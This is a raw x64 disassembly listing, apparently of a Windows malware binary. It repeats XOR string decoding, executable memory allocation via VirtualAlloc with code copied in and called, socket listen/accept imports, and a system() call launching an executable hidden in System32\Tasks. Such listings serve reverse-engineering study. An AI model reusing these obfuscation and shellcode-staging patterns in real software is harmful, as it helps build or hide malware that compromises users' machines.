psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000ecb1
jmp 0x14000edd3
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14000eda1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1d20]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000ee5e
mov rdx, rbx
cmp rax, rsi
je 0x14000ee4d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000ee35
jmp 0x14000ee5e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000ef3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000ee87
mov r8, rbx
jmp 0x14000ef1e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000ee90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x160]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1d20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1d00]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x168]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1d40]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5e80]
lea rcx, [rsp + 0x54]
call fcn.14001e860
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14000f103
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000f0ce
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000efe1
jmp 0x14000f103
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14000f0d1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1d60]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x170], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000f18e
mov rdx, rbx
cmp rax, rsi
je 0x14000f17d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000f165
jmp 0x14000f18e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000f26f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f1b7
mov r8, rbx
jmp 0x14000f24e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f1c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x170]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1d60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1d40]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x178]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1d80]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5eb8]
lea rcx, [rsp + 0x55]
call fcn.14001e8a0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14000f442
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000f401
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000f311
jmp 0x14000f442
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14000f410
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1da0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x180], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000f4cd
mov rdx, rbx
cmp rax, rsi
je 0x14000f4bc
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000f4a4
jmp 0x14000f4cd
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000f5af
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f4f6
mov r8, rbx
jmp 0x14000f58e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f500
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x180]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1da0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1d80]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x188]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1dc0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5ef0]
lea rcx, [rsp + 0x56]
call fcn.14001e8e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14000f773
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000f73e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000f651
jmp 0x14000f773
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14000f741
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1de0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000f7fe
mov rdx, rbx
cmp rax, rsi
je 0x14000f7ed
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000f7d5
jmp 0x14000f7fe
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000f8df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f827
mov r8, rbx
jmp 0x14000f8be
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f830
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x190]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1de0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1dc0]
call fcn.140022f30
lea rcx, str.cmd__C_C:WindowsSystem32Taskswinxsrcsv64.EXE__SU_AUTO__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x198]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1e00]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5f28]
lea rcx, [rsp + 0x57]
call fcn.14001e920
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14000fab2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000fa7d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000f990
jmp 0x14000fab2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14000fa80
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1e20]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x1a0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000fb3d
mov rdx, rbx
cmp rax, rsi
je 0x14000fb2c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000fb14
jmp 0x14000fb3d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000fc1f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000fb66
mov r8, rbx
jmp 0x14000fbfe
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000fb70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x1a0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1e20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1e00]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1a8]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1e40]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5f60]
lea rcx, [rsp + 0x58]
call fcn.14001e960
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14000fde3
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000fdae
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000fcc1
jmp 0x14000fde3
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14000fdb1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1e60]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x1b0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000fe6e
mov rdx, rbx
cmp rax, rsi
je 0x14000fe5d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000fe45
jmp 0x14000fe6e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000ff4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000fe97
mov r8, rbx
jmp 0x14000ff2e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
